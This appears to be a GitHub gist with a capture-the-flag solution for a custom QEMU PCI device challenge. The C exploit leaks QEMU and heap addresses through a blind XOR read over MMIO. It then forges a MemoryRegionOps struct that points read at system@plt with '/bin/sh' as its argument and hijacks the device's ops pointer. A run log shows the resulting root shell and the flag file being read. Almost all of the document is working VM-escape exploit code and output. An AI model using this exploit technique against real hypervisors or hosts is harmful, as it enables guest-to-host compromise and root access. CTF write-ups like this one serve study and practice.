Last active
May 9, 2025 07:57
-
-
Save MUWASEC/310f48917d0a441dd7fffa5152f4d3be to your computer and use it in GitHub Desktop.
arkavidia 9.0 2025 finals - pewpewpew
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <stddef.h> | |
#include <string.h> | |
#include <stdio.h> | |
#include <fcntl.h> | |
#include <stdint.h> | |
#include <unistd.h> | |
#include <assert.h> | |
#include <stdlib.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <err.h> | |
#include <sched.h> | |
#include <sys/syscall.h> | |
#include <sys/ipc.h> | |
#include <sys/msg.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/types.h> | |
#include <sys/xattr.h> | |
#include <sys/socket.h> | |
#include <sys/uio.h> | |
#include <sys/shm.h> | |
#include <sys/prctl.h> | |
#include "utils.h" | |
/* GLOBAL VAR */ | |
#define PCI_DRIVER "/sys/devices/pci0000:00/0000:00:02.0/resource0" | |
#define PAGE_SIZE 0x1000 | |
unsigned char *mmio_mem; | |
/* chall var */ | |
#define MMIO_OFFSET_SHOT1 0x8 | |
#define MMIO_OFFSET_SHOT2 0x10 | |
#define MMIO_OFFSET_SHOT3 0x18 | |
#define MMIO_OFFSET_SHOT4 0x20 | |
#define MMIO_OFFSET_SHOT5 0x28 | |
#define MMIO_OFFSET_SHOT6 0x30 | |
#define MMIO_OFFSET_SHOT_COUNT 0x38 | |
#define MMIO_OFFSET_PATTERN 0x40 | |
#define MMIO_OFFSET_HITS 0x48 | |
#define MMIO_TRIGGER_FIRE 0x50 | |
void mmio_write(uint32_t flag, uint64_t value) { | |
*(uint64_t *)(mmio_mem + flag) = value; | |
} | |
uint32_t mmio_read(uint32_t flag) { | |
return *(uint32_t *)(mmio_mem + flag); | |
} | |
void set_offset(u64 offset) { | |
mmio_write(MMIO_OFFSET_PATTERN, offset ^ 0x400); // xor with value s->ctrl.shots[0] or MMIO_OFFSET_SHOT1 | |
mmio_write(MMIO_OFFSET_SHOT1, 0x400); // off-by-one | |
mmio_write(MMIO_OFFSET_SHOT_COUNT, 1); | |
/* trigger */ | |
mmio_write(MMIO_TRIGGER_FIRE, 0); | |
} | |
u64 read_offset(u64 offset) { | |
set_offset(offset); // s->ctrl.shots[0] | |
mmio_write(MMIO_OFFSET_SHOT_COUNT, 1); // set only 1 shop_count | |
u64 retval = 0; // return value :p | |
logw("blind read at offset %d", offset); | |
for (int i = 0; i < 8; i++) { | |
u16 found_retval_byte=0, hits; | |
for (u16 ibyte=0; ibyte <= 0xff; ibyte++) { | |
/* set specific byte value of retval with ibyte in iter/loop offset */ | |
retval &= ~(0xFFUL << (i * 8)); | |
retval |= ((u64)ibyte << (i * 8)); | |
/* xor with retval */ | |
mmio_write(MMIO_OFFSET_PATTERN, retval); | |
mmio_write(MMIO_TRIGGER_FIRE, 0); | |
/* get s->hits */ | |
hits = mmio_read(MMIO_OFFSET_HITS); | |
/* recover/restore the xor value with another xor operation to original value */ | |
mmio_write(MMIO_TRIGGER_FIRE, 0); | |
/* | |
if xor'ed value equal it will resulting 0x00 (i mean the principle of xor is like that) thus will not increase/change the s->hits value | |
but if it's different, after restore the value of s->targets[pos] the value of previous s->hits before and after will be different | |
here is the example : | |
case 1: | |
before : | |
0xdeadbeef ^ 0xef = 0xdeadbe00 | |
s->hits = 1 | |
after : | |
0xdeadbe00 ^ 0xef = 0xdeadbeef | |
s->hits = 1 | |
case 2: | |
before : | |
0xdeadbeef ^ 0xaa = 0xdeadbe45 | |
s->hits = 1 | |
after : | |
0xdeadbe45 ^ 0xaa = 0xdeadbeef | |
s->hits = 2 | |
*/ | |
if (hits == mmio_read(MMIO_OFFSET_HITS)) { | |
found_retval_byte = ibyte; | |
} | |
} | |
/* set specific byte value of retval with xbyte in iter/loop offset */ | |
retval &= ~(0xFFUL << (i * 8)); | |
retval |= ((u64)found_retval_byte << (i * 8)); | |
printf("0x%016llx => %02x | %02x\n", retval, found_retval_byte, hits); | |
} | |
return retval; | |
} | |
int main(int argc, char** argv) | |
{ | |
/* open pci driver */ | |
int mmio_fd = open(PCI_DRIVER, O_RDWR | O_SYNC); | |
if (mmio_fd == -1) { | |
panic("[!] Cannot open driver"); | |
} | |
/* map pci driver */ | |
mmio_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); | |
if (mmio_mem == MAP_FAILED) { | |
panic("[!] mmio error"); | |
} | |
/* hardcode offset */ | |
u64 OFFSET_mmio_ops = -(0xc8/8); | |
u64 OFFSET_mmio_opaque = -(0xc0/8); | |
#ifdef DEBUG | |
u64 QEMU_system_plt = 0x3306a0; | |
u64 QEMU_mmio_write = 0x3fa0f1; | |
u64 QEMU_mmio_ops = 0x11045e0; | |
u64 QEMU_address_space_memory = 0x1df7c60; | |
#else | |
u64 QEMU_system_plt = 0x325050; | |
u64 QEMU_mmio_write = 0x432f50; | |
u64 QEMU_mmio_ops = 0x1710a40; | |
u64 QEMU_address_space_memory = 0x19eaa80; | |
#endif | |
/* aslr */ | |
u64 QEMU_base_addr = read_offset(-1) - QEMU_address_space_memory; | |
QEMU_system_plt += QEMU_base_addr; | |
QEMU_mmio_write += QEMU_base_addr; | |
QEMU_mmio_ops += QEMU_base_addr; | |
QEMU_address_space_memory += QEMU_base_addr; | |
/* heap */ | |
u64 tql_prev = read_offset(-7); | |
u64 opaque = tql_prev - 0xbb8; | |
u64 current_heap_address = tql_prev + 0x40; | |
logs("((struct LaserState*)opaque)->as = %p", (u64*)QEMU_address_space_memory); | |
logs("((struct LaserState*)opaque)->mmio.coalesced.tqh_circ.tql_prev = %p", (u64*)tql_prev); | |
logs("((struct LaserState*)opaque)->targets heap location @ %p", (u64*)current_heap_address); | |
logs("((struct LaserState*)opaque) heap location @ %p", (u64*)opaque); | |
logs("QEMU base address = %p", (u64*)QEMU_base_addr); | |
logw("craft fake struct MemoryRegionOps area"); | |
mmio_write(MMIO_OFFSET_SHOT_COUNT, 1); | |
logi("\tset *((struct MemoryRegionOps*)((struct LaserState*)opaque)->targets).read = system@plt"); | |
set_offset(0); | |
mmio_write(MMIO_OFFSET_PATTERN, QEMU_system_plt); | |
mmio_write(MMIO_TRIGGER_FIRE, 0); | |
logi("\tset *((struct MemoryRegionOps*)((struct LaserState*)opaque)->targets).write = mmio_write"); | |
set_offset(1); | |
mmio_write(MMIO_OFFSET_PATTERN, QEMU_mmio_write); | |
mmio_write(MMIO_TRIGGER_FIRE, 0); | |
logi("\tset valid->min_access_size=4 & valid->max_access_size=8"); | |
set_offset(5); | |
mmio_write(MMIO_OFFSET_PATTERN, 0x0000000800000004); | |
mmio_write(MMIO_TRIGGER_FIRE, 0); | |
logi("\tset impl->min_access_size=4 & impl->max_access_size=8"); | |
set_offset(8); | |
mmio_write(MMIO_OFFSET_PATTERN, 0x0000000800000004); | |
mmio_write(MMIO_TRIGGER_FIRE, 0); | |
/* | |
gef> p *(struct MemoryRegionOps*)((struct LaserState*)opaque)->targets | |
{ | |
read = 0x5555558846a0 <system@plt>, | |
write = 0x55555594e0f1 <mmio_write>, | |
read_with_attrs = 0x0, | |
write_with_attrs = 0x0, | |
endianness = DEVICE_NATIVE_ENDIAN, | |
valid = { | |
min_access_size = 0x4, | |
max_access_size = 0x8, | |
unaligned = 0x0, | |
accepts = 0x0 | |
}, | |
impl = { | |
min_access_size = 0x4, | |
max_access_size = 0x8, | |
unaligned = 0x0 | |
} | |
} | |
*/ | |
logi("create fake opaque for $rdi = \"/bin/sh\""); | |
set_offset(0x100); | |
mmio_write(MMIO_OFFSET_PATTERN, 0x68732f6e69622f); | |
mmio_write(MMIO_TRIGGER_FIRE, 0); | |
logi("overwrite ((struct LaserState*)opaque)->mmio.ops = fake_mmio_ops"); | |
set_offset(OFFSET_mmio_ops); | |
mmio_write(MMIO_OFFSET_SHOT_COUNT, 1); | |
mmio_write(MMIO_OFFSET_PATTERN, current_heap_address ^ QEMU_mmio_ops); | |
mmio_write(MMIO_TRIGGER_FIRE, 0); | |
logi("overwrite ((struct LaserState*)opaque)->mmio.opaque = fake_opaque"); | |
set_offset(OFFSET_mmio_opaque); | |
mmio_write(MMIO_OFFSET_PATTERN, (current_heap_address + (0x100*8)) ^ opaque); | |
mmio_write(MMIO_TRIGGER_FIRE, 0); | |
logp("spawn system@plt ᕙ( •̀ ᗜ •́ )ᕗ"); | |
mmio_read(0); | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
... | |
starting pid 50, tty '': '/etc/init.d/rcS' | |
[ 2.802678] mount (51) used greatest stack depth: 14096 bytes left | |
[ 2.845633] ip (54) used greatest stack depth: 14016 bytes left | |
starting pid 57, tty '/dev/ttyS0': '/controller' | |
[ 2.918491] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 | |
[ 7.903479] sleep (60) used greatest stack depth: 13856 bytes left | |
[!] blind read at offset -1 | |
0x0000000000000080 => 80 | 3f9 | |
0x0000000000000a80 => 0a | 8fa | |
0x0000000000000a80 => 00 | ff8 | |
0x0000000085000a80 => 85 | 16fb | |
0x0000005485000a80 => 54 | 20fb | |
0x00005d5485000a80 => 5d | 2dfd | |
0x00005d5485000a80 => 00 | 3ff8 | |
0x00005d5485000a80 => 00 | 51f8 | |
[!] blind read at offset -7 | |
0x00000000000000d8 => d8 | 55fc | |
0x00000000000020d8 => 20 | 5df9 | |
0x0000000000f920d8 => f9 | 66fe | |
0x00000000a2f920d8 => a2 | 75fb | |
0x00000054a2f920d8 => 54 | 87fb | |
0x00005d54a2f920d8 => 5d | 9cfd | |
0x00005d54a2f920d8 => 00 | b6f8 | |
0x00005d54a2f920d8 => 00 | d0f8 | |
[+] ((struct LaserState*)opaque)->as = 0x5d5485000a80 | |
[+] ((struct LaserState*)opaque)->mmio.coalesced.tqh_circ.tql_prev = 0x5d54a2f920d8 | |
[+] ((struct LaserState*)opaque)->targets heap location @ 0x5d54a2f92118 | |
[+] ((struct LaserState*)opaque) heap location @ 0x5d54a2f91520 | |
[+] QEMU base address = 0x5d5483616000 | |
[!] craft fake struct MemoryRegionOps area | |
[*] set *((struct MemoryRegionOps*)((struct LaserState*)opaque)->targets).read = system@plt | |
[*] set *((struct MemoryRegionOps*)((struct LaserState*)opaque)->targets).write = mmio_write | |
[*] set valid->min_access_size=4 & valid->max_access_size=8 | |
[*] set impl->min_access_size=4 & impl->max_access_size=8 | |
[*] create fake opaque for $rdi = "/bin/sh" | |
[*] overwrite ((struct LaserState*)opaque)->mmio.ops = fake_mmio_ops | |
[*] overwrite ((struct LaserState*)opaque)->mmio.opaque = fake_opaque | |
[o] spawn system@plt ᕙ( •̀ ᗜ •́ )ᕗ$ | |
$ id | |
uid=0(root) gid=0(root) groups=0(root) | |
$ ls -la | |
total 42604 | |
drwxr-xr-x 1 root pwn 4096 May 8 08:39 . | |
drwxr-xr-x 1 root root 4096 May 8 08:39 .. | |
-rw-r--r-- 1 root pwn 13136896 May 3 12:28 bzImage | |
-r--r----- 1 root pwn 16 May 8 08:39 flag-7d27fc1afbc47badd46671af5417757c.txt | |
-rw-r--r-- 1 root pwn 687859 May 3 12:28 initramfs.cpio.gz | |
-rwxr-xr-x 1 root pwn 29765784 May 3 09:56 qemu-system-x86_64 | |
-rwxr-xr-x 1 root pwn 45 May 3 12:47 run.sh | |
-rw-r--r-- 1 root pwn 1316 May 3 12:34 server.py | |
$ cat flag-7d27fc1afbc47badd46671af5417757c.txt | |
FLAG{FAKE_FLAG} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment